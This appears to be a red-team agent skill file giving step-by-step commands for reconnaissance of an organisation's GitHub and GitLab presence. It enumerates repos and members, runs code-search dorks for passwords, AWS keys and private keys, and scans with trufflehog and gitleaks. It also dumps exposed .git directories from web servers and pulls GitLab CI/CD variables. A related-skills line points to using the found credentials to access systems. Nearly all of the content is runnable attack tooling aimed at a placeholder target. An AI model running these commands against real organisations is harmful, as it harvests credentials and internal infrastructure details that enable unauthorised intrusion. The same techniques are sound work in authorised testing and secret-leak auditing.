---
name: rt-github-recon
description: "GitHub/GitLab/Bitbucket reconnaissance and secret exposure — find leaked API keys, tokens, passwords, internal hostnames, source code from exposed repos. Covers: org enumeration, trufflehog scanning, gitleaks, exposed .git directories (git-dumper), GitHub dorks, GitLab self-hosted enumeration, CI/CD secrets in pipelines. Critical recon step for any org with a GitHub presence. Docker: rtexit/kali:v3.0."
---

> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`

# rt-github-recon — Source Code & Secret Exposure via Git Platforms

## Overview

GitHub is a goldmine. Organizations accidentally commit API keys, internal hostnames, credentials, infrastructure code, and proprietary algorithms. Even "private" repos often have leaked secrets that were committed before being removed — git history never forgets.

**When to use:**
- Phase 1 Recon against any target with a developer team
- Before web/API testing — find endpoints and keys in source
- Before cloud testing — find AWS/Azure credentials
- Find internal infrastructure details (server names, IPs, CI/CD configs)

---

## Phase 1: Organization Discovery

```bash
docker exec rtexit-kali bash -c "
TARGET_ORG=target-company

# Find GitHub org
curl -s 'https://api.github.com/search/users?q=type:org+${TARGET_ORG}' \
  -H 'Authorization: token YOUR_GITHUB_TOKEN' | python3 -m json.tool

# List all public repos in org
curl -s 'https://api.github.com/orgs/${TARGET_ORG}/repos?per_page=100&type=all' \
  -H 'Authorization: token YOUR_GITHUB_TOKEN' | \
  python3 -c 'import json,sys; [print(r[\"clone_url\"]) for r in json.load(sys.stdin)]'

# Find employees by org membership
curl -s 'https://api.github.com/orgs/${TARGET_ORG}/members?per_page=100' \
  -H 'Authorization: token YOUR_GITHUB_TOKEN' | \
  python3 -c 'import json,sys; [print(m[\"login\"]) for m in json.load(sys.stdin)]'
"
```

---

## Phase 2: GitHub Dorks — Find Exposed Secrets

```bash
docker exec rtexit-kali bash -c "
# Search for secrets using GitHub code search API
TOKEN=YOUR_GITHUB_TOKEN
ORG=target-company

# Common dorks (search one at a time — rate limits)
dorks=(
  'org:${ORG} password'
  'org:${ORG} secret'
  'org:${ORG} api_key'
  'org:${ORG} AWS_SECRET_ACCESS_KEY'
  'org:${ORG} BEGIN RSA PRIVATE KEY'
  'org:${ORG} .env'
  'org:${ORG} database_url'
  'org:${ORG} jdbc:mysql'
  'org:${ORG} mongodb+srv'
  'org:${ORG} Authorization: Bearer'
  'org:${ORG} slack_token'
  'org:${ORG} PRIVATE KEY'
  'org:${ORG} internal.company.com'
)

for dork in \"\${dorks[@]}\"; do
  echo \"=== Dork: \$dork ===\"
  curl -s \"https://api.github.com/search/code?q=\$(python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))' \"\$dork\")&per_page=10\" \
    -H \"Authorization: token \$TOKEN\" | python3 -c \"
import json,sys
r = json.load(sys.stdin)
for item in r.get('items', []):
    print(' ', item['repository']['full_name'], '→', item['path'])
\"
  sleep 2  # respect rate limits
done
"
```

---

## Phase 3: trufflehog — Deep Secret Scan

```bash
docker exec rtexit-kali bash -c "
ORG=target-company

# Scan all public repos in org
trufflehog github --org=\$ORG \
  --token=YOUR_GITHUB_TOKEN \
  --json \
  --only-verified \
  2>/dev/null | tee /tmp/trufflehog_results.json

# Parse results
cat /tmp/trufflehog_results.json | python3 -c \"
import json, sys
for line in sys.stdin:
    try:
        r = json.loads(line)
        print(f'[SECRET] {r.get(\"DetectorName\")}: {r.get(\"Raw\", \"\")[:50]}')
        print(f'  Repo: {r.get(\"SourceMetadata\", {}).get(\"Data\", {}).get(\"Github\", {}).get(\"repository\")}')
        print(f'  File: {r.get(\"SourceMetadata\", {}).get(\"Data\", {}).get(\"Github\", {}).get(\"file\")}')
    except: pass
\"

# Also scan specific repo including git history
trufflehog git https://github.com/\$ORG/target-repo \
  --token=YOUR_GITHUB_TOKEN \
  --json \
  --only-verified 2>/dev/null
"
```

---

## Phase 4: gitleaks — Scan Cloned Repos

```bash
docker exec rtexit-kali bash -c "
ORG=target-company
mkdir -p /tmp/repos

# Clone all repos
for repo in \$(curl -s 'https://api.github.com/orgs/'\$ORG'/repos?per_page=100' \
  -H 'Authorization: token YOUR_GITHUB_TOKEN' | \
  python3 -c 'import json,sys; [print(r[\"clone_url\"]) for r in json.load(sys.stdin)]'); do
  git clone --depth 100 \$repo /tmp/repos/\$(basename \$repo .git) 2>/dev/null
done

# Scan all with gitleaks
gitleaks detect \
  --source /tmp/repos/ \
  --report-path /tmp/gitleaks_report.json \
  --report-format json \
  --no-banner \
  2>/dev/null

# Parse
cat /tmp/gitleaks_report.json | python3 -m json.tool | \
  grep -A5 'RuleID\|Secret\|File\|Commit'
"
```

---

## Phase 5: Exposed .git Directories on Web Servers

```bash
docker exec rtexit-kali bash -c "
TARGET=https://target.com

# Check if .git is exposed
curl -s \${TARGET}/.git/HEAD | grep -i 'ref:'
curl -s \${TARGET}/.git/config

# If exposed — dump entire repository
git-dumper \${TARGET}/.git /tmp/git_dump/
ls /tmp/git_dump/

# Find secrets in dumped code
grep -r 'password\|secret\|api_key\|token\|AKIA' /tmp/git_dump/ --include='*.py' --include='*.js' --include='*.env' --include='*.yml'
"
```

---

## Phase 6: GitLab Self-Hosted Enumeration

```bash
docker exec rtexit-kali bash -c "
GITLAB_URL=https://gitlab.internal.company.com

# Check GitLab version (unauthenticated)
curl -s \${GITLAB_URL}/api/v4/version 2>/dev/null | python3 -m json.tool

# Enumerate public projects (no auth needed)
curl -s '\${GITLAB_URL}/api/v4/projects?visibility=public&per_page=100' | \
  python3 -c 'import json,sys; [print(p[\"web_url\"]) for p in json.load(sys.stdin)]'

# With auth token
curl -s '\${GITLAB_URL}/api/v4/projects?per_page=100&membership=true' \
  -H 'PRIVATE-TOKEN: GITLAB_TOKEN' | \
  python3 -c 'import json,sys; [print(p[\"http_url_to_repo\"]) for p in json.load(sys.stdin)]'

# Find CI/CD variables (often has cloud credentials)
curl -s '\${GITLAB_URL}/api/v4/groups/TARGET_GROUP/variables' \
  -H 'PRIVATE-TOKEN: GITLAB_TOKEN'
"
```

---

## Phase 7: CI/CD Pipeline Secret Hunting

```bash
docker exec rtexit-kali bash -c "
# Find GitHub Actions workflows with secrets
ORG=target-company

# List all workflow files
curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+filename:.yml+path:.github/workflows' \
  -H 'Authorization: token YOUR_GITHUB_TOKEN' | \
  python3 -c \"
import json,sys
for item in json.load(sys.stdin).get('items', []):
    print(item['repository']['full_name'], '->', item['path'])
\"

# Look for hardcoded secrets in workflow files
# Common patterns: curl with Bearer, aws configure, secrets leak
"
```

---

## Phase 8: Find Internal Hostnames & Infrastructure

```bash
docker exec rtexit-kali bash -c "
ORG=target-company

# Search for internal hostnames in code
for pattern in 'internal\.' 'corp\.' 'staging\.' 'dev\.' '10\.0\.' '192\.168\.'; do
  echo \"=== Searching: \$pattern ===\"
  curl -s \"https://api.github.com/search/code?q=org:\${ORG}+\$(python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))' \"\$pattern\")&per_page=5\" \
    -H 'Authorization: token YOUR_GITHUB_TOKEN' | \
    python3 -c \"import json,sys; r=json.load(sys.stdin); [print('  ', i['repository']['full_name'], '->', i['path']) for i in r.get('items',[])]\"
  sleep 2
done
"
```

---

## Related Skills
- `rt-osint` — broader OSINT methodology
- `rt-active-recon` — follow up with active scanning on found infrastructure
- `rt-credential-hunt` — use found credentials to access systems
- `rt-supply-chain` — use found code to analyze dependencies

## References
- https://github.com/trufflesecurity/trufflehog
- https://github.com/gitleaks/gitleaks
- https://github.com/arthaud/git-dumper
- https://attack.mitre.org/techniques/T1213/ — Data from Information Repositories
